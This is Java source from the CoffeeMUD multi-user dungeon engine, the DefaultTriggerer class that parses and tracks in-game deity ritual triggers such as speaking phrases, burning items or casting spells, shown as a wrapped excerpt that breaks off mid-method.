&&(((((Item)msg.target()).material()&RawMaterial.RESOURCE_MASK)==CMath.s_int(DT.parm1))
||((((Item)msg.target()).material()&RawMaterial.MATERIAL_MASK)==CMath.s_int(DT.parm1))))
{
yup=true;
if(DT.addArgs && (msg.target()!=null))
state.args().add(targName(msg.target()));
}
break;
case BURNVALUE:
if((msg.target() instanceof Item)
&&(((Item)msg.target()).baseGoldValue()>=CMath.s_int(DT.parm1)))
{
yup=true;
if(DT.addArgs && (msg.target()!=null))
state.args().add(targName(msg.target()));
}
break;
case SITTING:
yup=CMLib.flags().isSitting(msg.source());
break;
case STANDING:
yup=(CMLib.flags().isStanding(msg.source()));
break;
case SLEEPING:
yup=CMLib.flags().isSleeping(msg.source());
break;
}
}
if(yup)
{
if(CMSecurity.isDebugging(CMSecurity.DbgFlag.RITUALS))
Log.debugOut(msg.source().Name()+" completed "+DT.triggerCode.name()+" ("+(state.completed+1)+"/"+triggers.length+") ");
state.setCompleted();
if(state.completed>=triggers.length-1)
{
final TrigTracker tracker = getTrigTracker(msg.source());
if(tracker != null)
tracker.compl.add(key);
clearState(msg.source(),key);
return state;
}
else
{
DT=triggers[state.completed+1];
yup=false;
// try this one now!
}
}
else
DT=DT.orConnect;
}
return null;
}
@Override
public boolean isCompleted(final Object key, final CMMsg msg)
{
return stepGetCompleted(key, msg) != null;
}
@Override
public Object[] whichCompleted(final Object[] keys, final CMMsg msg)
{
if(isIgnoring(msg.source()))
return trackingNothing;
List<Object> readyList=null;
for(final Object key : keys)
{
if(isCompleted(key, msg))
{
if(readyList == null)
readyList = new ArrayList<Object>(1);
readyList.add(key);
}
}
if(readyList != null)
return readyList.toArray();
return trackingNothing;
}
@Override
public Pair<Object,List<String>> getCompleted(final Object[] keys, final CMMsg msg)
{
if(isIgnoring(msg.source()))
return null;
for(final Object key : keys)
{
final TrigState state = stepGetCompleted(key, msg);
if(state != null)
return new Pair<Object,List<String>>(key, state.args());
}
return null;
}
@Override
public Object[] getInProgress(final MOB mob)
{
if(isIgnoring(mob))
return trackingNothing;
final TrigTracker tracker = getTrigTracker(mob);
if(tracker == null)
return trackingNothing;
if(tracker.states.size()==0)
return trackingNothing;
return new XVector<Object>(tracker.states.keySet()).toArray();
}
@Override
public boolean wasCompletedRecently(final MOB mob, final Object key)
{
if(isIgnoring(mob))
return false;
final TrigTracker tracker = getTrigTracker(mob);
if(tracker == null)
return false;
return tracker.compl.contains(key);
}
@Override
public MOB[] whosDoneWaiting()
{
if(waitingFor.size()>0)
{
synchronized(waitingFor)
{
if(waitingFor.size()==0)
return trackingNoone;
List<MOB> waitDoneList=null;
final long now=System.currentTimeMillis();
for (final Iterator<TrigState> s = waitingFor.iterator();s.hasNext();)
{
final TrigState S = s.next();
if(now > S.waitExpire)
{
if(waitDoneList == null)
waitDoneList=new ArrayList<MOB>(1);
final MOB M=S.charM.get();
if(M!=null)
waitDoneList.add(M);
s.remove();
S.waitExpire=-1;
}
}
if(waitDoneList != null)
return waitDoneList.toArray(new MOB[waitDoneList.size()]);
}
}
return trackingNoone;
}
@Override
public boolean hasTrigger(final Object key)
{
return rituals.containsKey(key);
}
@Override
public CMObject copyOf()
{
final DefaultTriggerer me;
try
{
me = (DefaultTriggerer) this.clone();
me.trackers = new Hashtable<String, TrigTracker>();
me.rituals = new SHashtable<Object, Trigger[]>();
me.rituals.putAll(rituals);
me.waitingFor = new SLinkedList<TrigState>();
me.ignoreOf = new LimitedTreeSet<String>();
}
catch (final CloneNotSupportedException e)
{
return newInstance();
}
return me;
}
@Override
public void initializeClass()
{
}
@Override
public int compareTo(final CMObject o)
{
return o==this?0:(o.hashCode()<hashCode()?1:-1);
}
}
| com/planet_ink/coffee_mud/Common/DefaultTriggerer.java | package com.planet_ink.coffee_mud.Common;
import com.planet_ink.coffee_mud.core.interfaces.*;
import com.planet_ink.coffee_mud.core.*;
import com.planet_ink.coffee_mud.core.collections.*;
import com.planet_ink.coffee_mud.Abilities.interfaces.*;
import com.planet_ink.coffee_mud.Areas.interfaces.*;
import com.planet_ink.coffee_mud.Behaviors.interfaces.*;
import com.planet_ink.coffee_mud.CharClasses.interfaces.*;
import com.planet_ink.coffee_mud.Commands.interfaces.*;
import com.planet_ink.coffee_mud.Common.interfaces.*;
import com.planet_ink.coffee_mud.Exits.interfaces.*;
import com.planet_ink.coffee_mud.Items.interfaces.*;
import com.planet_ink.coffee_mud.Libraries.interfaces.*;
import com.planet_ink.coffee_mud.Locales.interfaces.*;
import com.planet_ink.coffee_mud.MOBS.interfaces.*;
import com.planet_ink.coffee_mud.MOBS.interfaces.Deity.RitualType;
import com.planet_ink.coffee_mud.Races.interfaces.*;
import java.util.*;
import java.lang.ref.*;
/*
Copyright 2022-2022 Bo Zimmerman
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
public class DefaultTriggerer implements Triggerer
{
protected final static Map<String,Trigger[]> ritualCache = new Hashtable<String,Trigger[]>();
protected Map<String, TrigTracker> trackers = new Hashtable<String, TrigTracker>();
protected Map<Object, Trigger[]> rituals = new SHashtable<Object, Trigger[]>();
protected List<TrigState> waitingFor = Collections.synchronizedList(new LinkedList<TrigState>());
protected Set<String> ignoreOf = new LimitedTreeSet<String>();
protected String holyName = "Unknown";
protected int version = 0;
private final static Object[] trackingNothing = new Object[0];
private final static MOB[] trackingNoone = new MOB[0];
public DefaultTriggerer()
{
version = TrigSignal.sig;
}
@Override
public String ID()
{
return "DefaultTriggerer";
}
@Override
public CMObject newInstance()
{
return new DefaultTriggerer();
}
@Override
public String name()
{
return holyName;
}
@Override
public Triggerer setName(final String name)
{
this.holyName = name;
return this;
}
@Override
public boolean isObsolete()
{
return (version != TrigSignal.sig);
}
@Override
public void setObsolete()
{
version = -1;
}
@Override
public boolean isDisabled()
{
return rituals.size()==0;
}
/**
* Separator enum constants for ritual definitions.
* @author Bo Zimmerman
*
*/
private enum TriggConnector
{
AND,
OR
}
protected static class Trigger
{
public TriggerCode triggerCode = TriggerCode.SAY;
public String parm1 = null;
public String parm2 = null;
public int cmmsgCode = -1;
public Trigger orConnect = null;
public boolean addArgs = false;
}
protected final class TrigTracker
{
private final Map<Object, TrigState>states = new LimitedTreeMap<Object, TrigState>(120000,100,false);
private final Set<Object> compl = new LimitedTreeSet<Object>(CMProps.getTickMillis()*2,10,false);
private final Reference<MOB> charM;
public TrigTracker(final MOB mob)
{
this.charM = new WeakReference<MOB>(mob);
}
public TrigState getCreateState(final Object key)
{
final MOB mob=charM.get();
if(mob==null)
{
states.clear();
return null;
}
if(states.containsKey(key))
return states.get(key);
final TrigState state = new TrigState(mob, key, holyName);
states.put(key, state);
return state;
}
}
protected class TrigState
{
private volatile int completed = -1;
private final String holyName;
private final Reference<MOB> charM;
private volatile long time = System.currentTimeMillis();
public volatile long waitExpire = -1;
public final Object key;
public List<String> args = null;
public TrigState(final MOB charM, final Object key, final String holyName)
{
this.charM = new WeakReference<MOB>(charM);
this.key=key;
this.holyName = holyName;
}
public List<String> args()
{
if(args==null)
args=new Vector<String>(1);
return args;
}
public synchronized void setCompleted()
{
completed++;
time=System.currentTimeMillis();
}
public void setIgnore(final boolean truefalse)
{
synchronized(ignoreOf)
{
final MOB charM=this.charM.get();
if(charM != null)
{
if(truefalse)
ignoreOf.add(charM.Name());
else
ignoreOf.remove(charM.Name());
}
}
}
public void setWait(final long expiration)
{
synchronized(waitingFor)
{
if(charM.get() != null)
{
waitExpire=expiration;
if(expiration<0)
waitingFor.remove(this);
else
waitingFor.add(this);
}
}
}
}
protected boolean isIgnoring(final MOB mob)
{
synchronized(ignoreOf)
{
return ignoreOf.contains(mob.Name());
}
}
@Override
public void addTrigger(final Object key, String trigger, final List<String> errors)
{
trigger=trigger.toUpperCase().trim();
if(DefaultTriggerer.ritualCache.containsKey(trigger))
{
rituals.put(key, DefaultTriggerer.ritualCache.get(trigger));
return;
}
TriggConnector previousConnector=TriggConnector.AND;
if(trigger.equals("-"))
{
DefaultTriggerer.ritualCache.put(trigger, new Trigger[0]);
rituals.put(key, new Trigger[0]);
return;
}
final List<Trigger> putHere = new ArrayList<Trigger>();
Trigger prevDT=null;
while(trigger.length()>0)
{
final int div1=trigger.indexOf('&');
final int div2=trigger.indexOf('|');
int div=div1;
if((div2>=0)&&((div<0)||(div2<div)))
div=div2;
String trig=null;
if(div<0)
{
trig=trigger;
trigger="";
}
else
{
trig=trigger.substring(0,div).trim();
trigger=trigger.substring(div+1);
}
if(trig.length()>0)
{
final Vector<String> V=CMParms.parse(trig);
if(V.size()>1)
{
Trigger DT=new Trigger();
final String cmd=V.firstElement();
TriggerCode T;
if(cmd.endsWith("+"))
{
DT.addArgs=true;
T=(TriggerCode)CMath.s_valueOf(TriggerCode.class, cmd.substring(0,cmd.length()-1));
}
else
T = (TriggerCode)CMath.s_valueOf(TriggerCode.class, cmd);
if(T==null)
{
for(final TriggerCode RT : TriggerCode.values())
{
if(RT.name().startsWith(cmd))
{
T=RT;
break;
}
}
}
if((previousConnector==TriggConnector.OR)&&(prevDT!=null))
prevDT.orConnect=DT;
if(T==null)
{
if(errors!=null)
errors.add("Illegal trigger: '"+cmd+"','"+trig+"'");
DT=null;
break;
}
else
{
DT.cmmsgCode=this.getCMMsgCode(T);
switch(T)
{
case SAY:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case TIME:
{
DT.triggerCode=T;
DT.parm1=""+CMath.s_int(CMParms.combine(V,1));
break;
}
case WAIT:
{
DT.triggerCode=T;
DT.parm1=""+CMath.s_int(CMParms.combine(V,1));
break;
}
case YOUSAY:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case OTHERSAY:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case ALLSAY:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case PUTTHING:
{
DT.triggerCode=T;
if(V.size()<3)
{
Log.errOut(name(),"Illegal trigger: "+trig);
DT=null;
break;
}
DT.parm1=CMParms.combine(V,1,V.size()-2);
DT.parm2=V.lastElement();
break;
}
case SOCIAL:
{
DT.triggerCode=T;
if(V.size()<2)
{
Log.errOut(name(),"Illegal trigger: "+trig);
DT=null;
break;
}
DT.parm1=V.get(1);
if(V.size()>2)
DT.parm2=V.get(2);
else
DT.parm2="";
final Social soc = CMLib.socials().fetchSocial((DT.parm1+" "+DT.parm2).toUpperCase().trim(),true);
if(soc == null)
{
Log.errOut(name(),"Illegal social in: "+trig);
DT=null;
break;
}
break;
}
case BURNTHING:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case PUTVALUE:
{
DT.triggerCode=T;
if(V.size()<3)
{
if(errors!=null)
errors.add("Illegal trigger: "+trig);
DT=null;
break;
}
DT.parm1=""+CMath.s_int(V.elementAt(1));
DT.parm2=CMParms.combine(V,2);
break;
}
case BURNVALUE:
{
DT.triggerCode=T;
if(V.size()<3)
{
if(errors!=null)
errors.add("Illegal trigger: "+trig);
DT=null;
break;
}
DT.parm1=""+CMath.s_int(CMParms.combine(V,1));
break;
}
case BURNMATERIAL:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
final int cd = RawMaterial.CODES.FIND_StartsWith(DT.parm1);
boolean found=cd>=0;
if(found)
DT.parm1=""+cd;
else
{
final RawMaterial.Material m=RawMaterial.Material.startsWith(DT.parm1);
if(m!=null)
{
DT.parm1=""+m.mask();
found=true;
}
}
if(!found)
{
if(errors!=null)
errors.add("Unknown material: "+trig);
DT=null;
break;
}
break;
}
case PUTMATERIAL:
{
DT.triggerCode=T;
if(V.size()<3)
{
if(errors!=null)
errors.add("Illegal trigger: "+trig);
DT=null;
break;
}
DT.parm1=V.elementAt(1);
DT.parm2=CMParms.combine(V,2);
final int cd = RawMaterial.CODES.FIND_StartsWith(DT.parm1);
boolean found=cd>=0;
if(found)
DT.parm1=""+cd;
else
if(!found)
{
final RawMaterial.Material m=RawMaterial.Material.startsWith(DT.parm1);
if(m!=null)
{
DT.parm1=""+m.mask();
found=true;
}
}
if(!found)
{
if(errors!=null)
errors.add("Unknown material: "+trig);
DT=null;
break;
}
break;
}
case EAT:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case READING:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case RANDOM:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case CHECK:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case DRINK:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case INROOM:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case RIDING:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case CAST:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
if(CMClass.findAbility(DT.parm1)==null)
{
if(errors!=null)
errors.add("Illegal SPELL in: "+trig);
DT=null;
break;
}
break;
}
case EMOTE:
{
DT.triggerCode=T;
DT.parm1=CMParms.combine(V,1);
break;
}
case SITTING:
{
DT.triggerCode=T;
break;
}
case STANDING:
{
DT.triggerCode=T;
break;
}
case SLEEPING:
{
DT.triggerCode=T;
break;
}
default:
{
if(errors!=null)
errors.add("Illegal trigger: '"+cmd+"','"+trig+"'");
DT=null;
break;
}
}
}
if(DT==null)
return;
if(div==div1)
{
previousConnector=TriggConnector.AND;
putHere.add(DT);
}
else
previousConnector=TriggConnector.OR;
prevDT=DT;
}
else
{
if(errors!=null)
errors.add("Illegal trigger (need more parameters): "+trig);
return;
}
}
}
// check for valid starter
if(putHere.size()>0)
{
int firstActiveCode=-1;
for(int i=0;i<putHere.size();i++)
{
Trigger r = putHere.get(i);
boolean active=false;
while(r != null)
{
active = active || (r.cmmsgCode>0);
r=r.orConnect;
}
if(active)
{
firstActiveCode = i;
break;
}
}
if(firstActiveCode > 0)
{
final Trigger gone = putHere.remove(firstActiveCode);
putHere.add(0, gone);
}
}
final Trigger[] finalTriggs = putHere.toArray(new Trigger[putHere.size()]);
DefaultTriggerer.ritualCache.put(trigger, finalTriggs);
rituals.put(key, finalTriggs);
}
protected TrigTracker getTrigTracker(final MOB mob)
{
synchronized(trackers)
{
if(trackers.containsKey(mob.Name()))
{
final TrigTracker tracker = trackers.get(mob.Name());
if((tracker.charM.get()!=null)
&&((tracker.states.size()>0)||(tracker.compl.size()>0)))
return tracker;
trackers.remove(mob.Name());
}
}
return null;
}
protected TrigTracker getCreateTrigTracker(final MOB mob)
{
TrigTracker tracker = getTrigTracker(mob);
if(tracker != null)
return tracker;
tracker = new TrigTracker(mob);
synchronized(trackers)
{
trackers.put(mob.Name(), tracker);
}
return tracker;
}
protected TrigState getCreateTrigState(final MOB mob, final Object key)
{
final TrigTracker tracker = getCreateTrigTracker(mob);
final TrigState state = tracker.getCreateState(key);
return state;
}
protected void clearState(final MOB mob, final Object type)
{
final TrigTracker tracker = getTrigTracker(mob);
if(tracker != null)
tracker.states.remove(type);
}
protected String L(final String str, final String ... xs)
{
return CMLib.lang().fullSessionTranslation(str, xs);
}
@Override
public String getTriggerDesc(final Object key)
{
final Trigger[] triggers = rituals.get(key);
if((triggers==null)||(triggers.length==0))
return L("Never");
final StringBuffer buf=new StringBuffer("");
for(int v=0;v<triggers.length;v++)
{
Trigger DT=triggers[v];
while(DT != null)
{
if(v>0)
buf.append(", "+((DT==triggers[v])?L("and "):L("or ")));
switch(DT.triggerCode)
{
case SAY:
buf.append(L("the player should say '@x1'",DT.parm1.toLowerCase()));
break;
case READING:
if(DT.parm1.equals("0"))
buf.append(L("the player should read something"));
else
buf.append(L("the player should read '@x1'",DT.parm1.toLowerCase()));
break;
case SOCIAL:
buf.append(L("the player should @x1",DT.parm1.toLowerCase()));
break;
case TIME:
buf.append(L("the hour of the day is @x1",DT.parm1.toLowerCase()));
break;
case PUTTHING:
buf.append(L("the player should put @x1 in @x2",DT.parm1.toLowerCase(),DT.parm2.toLowerCase()));
break;
case BURNTHING:
buf.append(L("the player should burn @x1",DT.parm1.toLowerCase()));
break;
case DRINK:
buf.append(L("the player should drink @x1",DT.parm1.toLowerCase()));
break;
case EAT:
buf.append(L("the player should eat @x1",DT.parm1.toLowerCase()));
break;
case INROOM:
{
if(DT.parm1.equalsIgnoreCase("holy")
||DT.parm1.equalsIgnoreCase("unholy")
||DT.parm1.equalsIgnoreCase("balance"))
buf.append(L("the player should be in the deities room of infused @x1-ness.",DT.parm1.toLowerCase()));
else
{
final Room R=CMLib.map().getRoom(DT.parm1);
if(R==null)
buf.append(L("the player should be in some unknown place"));
else
buf.append(L("the player should be in '@x1'",R.displayText(null)));
}
}
break;
case RIDING:
buf.append(L("the player should be on @x1",DT.parm1.toLowerCase()));
break;
case CAST:
{
final Ability A=CMClass.findAbility(DT.parm1);
if(A==null)
buf.append(L("the player should cast '@x1'",DT.parm1));
else
buf.append(L("the player should cast '@x1'",A.name()));
}
break;
case EMOTE:
buf.append(L("the player should emote '@x1'",DT.parm1.toLowerCase()));
break;
case RANDOM:
buf.append(DT.parm1+"% of the time");
break;
case WAIT:
buf.append(L("wait @x1 seconds",""+((CMath.s_int(DT.parm1)*CMProps.getTickMillis())/1000)));
break;
case YOUSAY:
buf.append(L("then you will automatically say '@x1'",DT.parm1.toLowerCase()));
break;
case OTHERSAY:
buf.append(L("then all others will say '@x1'",DT.parm1.toLowerCase()));
break;
case ALLSAY:
buf.append(L("then all will say '@x1'",DT.parm1.toLowerCase()));
break;
case CHECK:
buf.append(CMLib.masking().maskDesc(DT.parm1));
break;
case PUTVALUE:
buf.append(L("the player should put an item worth at least @x1 in @x2",DT.parm1.toLowerCase(),DT.parm2.toLowerCase()));
break;
case PUTMATERIAL:
{
String material="something";
final int t=CMath.s_int(DT.parm1);
RawMaterial.Material m;
if(((t&RawMaterial.RESOURCE_MASK)==0)
&&((m=RawMaterial.Material.findByMask(t))!=null))
material=m.desc().toLowerCase();
else
if(RawMaterial.CODES.IS_VALID(t))
material=RawMaterial.CODES.NAME(t).toLowerCase();
buf.append(L("the player puts an item made of @x1 in @x2",material,DT.parm2.toLowerCase()));
}
break;
case BURNMATERIAL:
{
String material="something";
final int t=CMath.s_int(DT.parm1);
RawMaterial.Material m;
if(((t&RawMaterial.RESOURCE_MASK)==0)
&&((m=RawMaterial.Material.findByMask(t))!=null))
material=m.desc().toLowerCase();
else
if(RawMaterial.CODES.IS_VALID(t))
material=RawMaterial.CODES.NAME(t).toLowerCase();
buf.append(L("the player should burn an item made of @x1",material));
}
break;
case BURNVALUE:
buf.append(L("the player should burn an item worth at least @x1",DT.parm1.toLowerCase()));
break;
case SITTING:
buf.append(L("the player should sit down"));
break;
case STANDING:
buf.append(L("the player should stand up"));
break;
case SLEEPING:
buf.append(L("the player should go to sleep"));
break;
}
DT=DT.orConnect;
}
}
return buf.toString();
}
@Override
public void setIgnoreTracking(final MOB mob, final boolean truefalse)
{
synchronized(ignoreOf)
{
if(truefalse)
ignoreOf.add(mob.Name());
else
ignoreOf.remove(mob.Name());
}
}
@Override
public void deleteTracking(final MOB mob, final Object key)
{
this.clearState(mob, key);
}
@Override
public CMMsg genNextAbleTrigger(final MOB mob, final Object key)
{
if(mob == null)
return null;
final Trigger[] triggers = rituals.get(key);
if((triggers==null)||(triggers.length==0))
return null;
final TrigTracker tracker = this.getCreateTrigTracker(mob);
if(tracker == null)
return null;
final TrigState trigState = tracker.getCreateState(key);
if(trigState==null)
return null;
final int completed =trigState.completed;
if(completed>=triggers.length)
return null;
final Trigger DT=triggers[completed+1];
// in an OR-condition, we always just do the first one....
switch(DT.triggerCode)
{
case SAY:
return CMClass.getMsg(mob, CMMsg.MASK_ALWAYS|CMMsg.MSG_SPEAK, L("^T<S-NAME> say(s) '@x1'.^N",DT.parm1));
case TIME:
trigState.setCompleted();
return null;
case RANDOM:
trigState.setCompleted();
return null;
case YOUSAY:
return null;
case ALLSAY:
return null;
case OTHERSAY:
return null;
case WAIT:
{
final long waitDuration=CMath.s_long(DT.parm1)*CMProps.getTickMillis();
if(System.currentTimeMillis()>(trigState.time+waitDuration))
return CMClass.getMsg(mob, CMMsg.MSG_OK_ACTION, null); // force the wait to be evaluated
return null;
}
case CHECK:
trigState.setCompleted();
return null;
case PUTTHING:
{
final Item I=CMClass.getBasicItem("GenItem");
final Item cI=CMClass.getBasicItem("GenContainer");
if(DT.parm1.equals("0"))
I.setName(L("Something"));
else
I.setName(DT.parm1);
if(DT.parm1.equals("0"))
cI.setName(L("Something"));
else
cI.setName(DT.parm2);
return CMClass.getMsg(mob, cI, I, CMMsg.MASK_ALWAYS|CMMsg.MSG_PUT, L("<S-NAME> put(s) <O-NAME> into <T-NAME>."));
}
case BURNTHING:
{
final Item I=CMClass.getBasicItem("GenItem");
if(DT.parm1.equals("0"))
I.setName(L("Something"));
else
I.setName(DT.parm1);
return CMClass.getMsg(mob, I, null, CMMsg.MASK_ALWAYS|CMMsg.MASK_MOVE|DT.cmmsgCode, L("<S-NAME> burn(s) <T-NAME>."));
}
case READING:
{
final Item I=CMClass.getBasicItem("GenItem");
if(DT.parm1.equals("0"))
I.setName(L("Something"));
else
I.setName(DT.parm1);
return CMClass.getMsg(mob, I, null, CMMsg.MASK_ALWAYS|CMMsg.MSG_READ, L("<S-NAME> read(s) <T-NAME>."));
}
case SOCIAL:
{
final Social soc = CMLib.socials().fetchSocial((DT.parm1+" "+DT.parm2).toUpperCase().trim(),true);
if(soc != null)
{
final MOB target=mob.getVictim();
if((target==null)&&(soc.targetName().equals("<T-NAME>")))
return CMClass.getMsg(mob,target,soc,CMMsg.MSG_OK_VISUAL,soc.getFailedTargetMessage(), CMMsg.NO_EFFECT, null, CMMsg.NO_EFFECT, null);
else
return CMClass.getMsg(mob,target,soc,CMMsg.MSG_OK_VISUAL,soc.getSourceMessage(),soc.getTargetMessage(),soc.getOthersMessage());
}
break;
}
case DRINK:
{
final Item I=CMClass.getBasicItem("GenItem");
if(DT.parm1.equals("0"))
I.setName(L("Something"));
else
I.setName(DT.parm1);
return CMClass.getMsg(mob, I, null, CMMsg.MASK_ALWAYS|CMMsg.MSG_DRINK, L("<S-NAME> drink(s) <T-NAME>."));
}
case EAT:
{
final Item I=CMClass.getBasicItem("GenItem");
if(DT.parm1.equals("0"))
I.setName(L("Something"));
else
I.setName(DT.parm1);
return CMClass.getMsg(mob, I, null, DT.cmmsgCode, L("<S-NAME> eat(s) <T-NAME>."));
}
case INROOM:
trigState.setCompleted();
return null;
case RIDING:
trigState.setCompleted();
return null;
case CAST:
{
final Ability A=CMClass.getAbility(DT.parm1);
if(A!=null)
return CMClass.getMsg(mob, null, A, DT.cmmsgCode, L("<S-NAME> do(es) '@x1'",A.name()));
return null;
}
case EMOTE:
return CMClass.getMsg(mob, null, null, DT.cmmsgCode, L("<S-NAME> do(es) '@x1'",DT.parm1));
case PUTVALUE:
{
final Item cI=CMClass.getBasicItem("GenContainer");
if(DT.parm2.equals("0"))
cI.setName(L("Something"));
else
cI.setName(DT.parm2);
final Item I=CMClass.getBasicItem("GenItem");
I.setName(L("valuables"));
I.setBaseValue(CMath.s_int(DT.parm1));
return CMClass.getMsg(mob, cI, I, CMMsg.MASK_ALWAYS|CMMsg.MSG_PUT, L("<S-NAME> put(s) <O-NAME> in <T-NAME>."));
}
case PUTMATERIAL:
case BURNMATERIAL:
{
final Item cI=CMClass.getBasicItem("GenContainer");
if(DT.parm2.equals("0"))
cI.setName(L("Something"));
else
cI.setName(DT.parm2);
final Item I=CMLib.materials().makeItemResource(CMath.s_int(DT.parm1));
return CMClass.getMsg(mob, cI, I, CMMsg.MASK_ALWAYS|CMMsg.MASK_HANDS|DT.cmmsgCode, L("<S-NAME> put(s) <O-NAME> in <T-NAME>."));
}
case BURNVALUE:
{
final Item I=CMClass.getBasicItem("GenItem");
I.setName(L("valuables"));
I.setBaseValue(CMath.s_int(DT.parm1));
return CMClass.getMsg(mob, I, null, CMMsg.MASK_ALWAYS|CMMsg.MASK_HANDS|DT.cmmsgCode, L("<S-NAME> burn(s) <T-NAME>."));
}
case SITTING:
if(!CMLib.flags().isSitting(mob))
return CMClass.getMsg(mob, CMMsg.MSG_SIT, L("<S-NAME> sit(s)."));
return null;
case STANDING:
if(!CMLib.flags().isStanding(mob))
return CMClass.getMsg(mob, CMMsg.MSG_STAND, L("<S-NAME> stand(s)."));
return null;
case SLEEPING:
if(!CMLib.flags().isSleeping(mob))
return CMClass.getMsg(mob, CMMsg.MSG_SLEEP, L("<S-NAME> sleep(s)."));
return null;
}
return null;
}
protected int getCMMsgCode(final TriggerCode trig)
{
switch(trig)
{
case SAY:
return CMMsg.TYP_SPEAK;
case PUTTHING:
return CMMsg.TYP_PUT;
case BURNMATERIAL:
return CMMsg.TYP_FIRE;
case BURNTHING:
return CMMsg.TYP_FIRE;
case EAT:
return CMMsg.TYP_EAT;
case DRINK:
return CMMsg.TYP_DRINK;
case CAST:
return CMMsg.TYP_CAST_SPELL;
case EMOTE:
return CMMsg.TYP_EMOTE;
case PUTVALUE:
return CMMsg.TYP_PUT;
case PUTMATERIAL:
return CMMsg.TYP_PUT;
case BURNVALUE:
return CMMsg.TYP_FIRE;
case READING:
return CMMsg.TYP_READ;
case SOCIAL:
return CMMsg.MSG_OK_ACTION;
case INROOM:
case TIME:
case RIDING:
case SITTING:
case STANDING:
case SLEEPING:
case RANDOM:
case CHECK:
case WAIT:
case YOUSAY:
case OTHERSAY:
case ALLSAY:
return -999;
}
return -999;
}
@Override
public boolean isTracking(final MOB mob, final Object key)
{
final TrigTracker tracker = getTrigTracker(mob);
if(tracker == null)
return false;
return tracker.states.containsKey(key);
}
@Override
public boolean isTracking(final Object key, final CMMsg msg)
{
final MOB mob=msg.source();
if(isIgnoring(mob))
return false;
final TrigTracker tracker = getTrigTracker(mob);
final TrigState state = (tracker != null)?tracker.states.get(key):null;
final int peekIndex = (state!=null)?(state.completed+1):0;
final Trigger[] triggers = rituals.get(key);
if(peekIndex >= triggers.length-1)
return true;
Trigger trig = triggers[peekIndex];
while(trig != null)
{
if((trig.cmmsgCode<0)
||(trig.cmmsgCode==msg.sourceMinor())
||((msg.tool() instanceof Social)&&(trig.triggerCode==TriggerCode.SOCIAL)))
return true;
trig = trig.orConnect;
}
return false;
}
@Override
public Object[] whichTracking(final CMMsg msg)
{
final MOB mob=msg.source();
if(isIgnoring(mob))
return trackingNothing;
switch(msg.sourceMinor())
{
case CMMsg.TYP_ENTER:
case CMMsg.TYP_LEAVE:
case CMMsg.TYP_LOOK:
return trackingNothing;
default:
break;
}
//TODO: THIS! This is what needs to be better.
List<Object> readyList=null;
for(final Object key : rituals.keySet())
{
if(isTracking(key, msg))
{
if(readyList == null)
readyList = new ArrayList<Object>(1);
readyList.add(key);
}
}
if(readyList != null)
return readyList.toArray();
return trackingNothing;
}
protected String targName(final Environmental target)
{
if((target instanceof Item)||(target instanceof MOB))
{
final Room R=CMLib.map().roomLocation(target);
if(R==null)
return "$"+target.Name()+"$";
return R.getContextName(target);
}
else
if(target instanceof Room)
return ((Room)target).displayText(null);
else
return target.Name();
}
public boolean containsString(final String toSrchStr, final String srchForStr)
{
if((srchForStr==null)||(srchForStr.length()==0)||(srchForStr.equals("0"))||(srchForStr.equals("*")))
return true;
return CMLib.english().containsString(toSrchStr, srchForStr);
}
protected TrigState stepGetCompleted(final Object key, final CMMsg msg)
{
if(isIgnoring(msg.source()))
return null;
final Trigger[] triggers=rituals.get(key);
final TrigState state = getCreateTrigState(msg.source(), key);
if((triggers == null)||(state==null))
return null;
if(state.completed>=triggers.length-1)
return state;
Trigger DT=triggers[state.completed+1];
boolean yup = false;
while((DT != null)&&(!yup))
{
if((msg.sourceMinor()==DT.cmmsgCode)
||(DT.cmmsgCode==-999)
||((DT.triggerCode==TriggerCode.SOCIAL)&&(msg.tool() instanceof Social)))
{
switch(DT.triggerCode)
{
case SAY:
if((msg.sourceMessage()!=null)&&(msg.sourceMessage().toUpperCase().indexOf(DT.parm1)>0))
{
if(DT.addArgs)
{
String str = CMStrings.getSayFromMessage(msg.sourceMessage());
final int x=str.toUpperCase().indexOf(DT.parm1);
if(x>=0)
str=str.substring(x+DT.parm1.length()).trim();
state.args().addAll(CMParms.parse(str));
}
yup=true;
}
break;
case TIME:
if((msg.source().location()!=null)
&&(msg.source().location().getArea().getTimeObj().getHourOfDay()==CMath.s_int(DT.parm1)))
yup=true;
break;
case RANDOM:
if(CMLib.dice().rollPercentage()<=CMath.s_int(DT.parm1))
yup=true;
break;
case YOUSAY:
yup=true;
try
{
if(DT.addArgs)
state.args().addAll(CMParms.parse(DT.parm1));
state.setIgnore(true);
CMLib.commands().postSay(msg.source(),null,CMStrings.capitalizeAndLower(DT.parm1));
}
finally
{
state.setIgnore(false);
}
break;
case ALLSAY:
{
final Room R=msg.source().location();
if(R!=null)
{
if(DT.addArgs)
state.args().addAll(CMParms.parse(DT.parm1));
yup=true;
for(int m=0;m<R.numInhabitants();m++)
{
final MOB M=R.fetchInhabitant(m);
if(M!=null)
{
yup=true;
try
{
state.setIgnore(true);
CMLib.commands().postSay(M,null,CMStrings.capitalizeAndLower(DT.parm1));
}
finally
{
state.setIgnore(false);
}
}
}
}
break;
}
case OTHERSAY:
{
final Room R=msg.source().location();
if(R!=null)
{
if(DT.addArgs)
state.args().addAll(CMParms.parse(DT.parm1));
yup=true;
